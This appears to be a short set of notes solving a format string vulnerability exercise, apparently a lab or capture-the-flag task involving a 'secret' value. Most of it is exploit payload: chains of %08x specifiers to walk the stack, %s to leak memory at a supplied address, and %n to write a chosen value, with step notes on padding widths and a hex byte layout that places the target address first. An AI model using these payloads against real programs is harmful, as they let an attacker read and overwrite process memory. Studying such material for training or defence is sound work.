%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x
%08x%08x%08x%08x%08x%08x%08x%08x%s
Input number as address of secret you want to overwrite
Pass 8 x %08x, then %n.
Divide value you want to set into 8 numbers that will be summed, each must be either 1, or 8+ Then write those numbers out in %x e.g. to get 70, we would do %08x%08x%08x%08x%08x%08x%08x%0A, then append %n, or if a number must be 1, then %c.
%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x
1c b0 04 08 253038780a 253038780a 253038780a 253038780a 253038780a 253038780a 253038780a 253038780a 253038780a 25730a in bytes where 1c b0 04 08 should be replaced with memory address to print.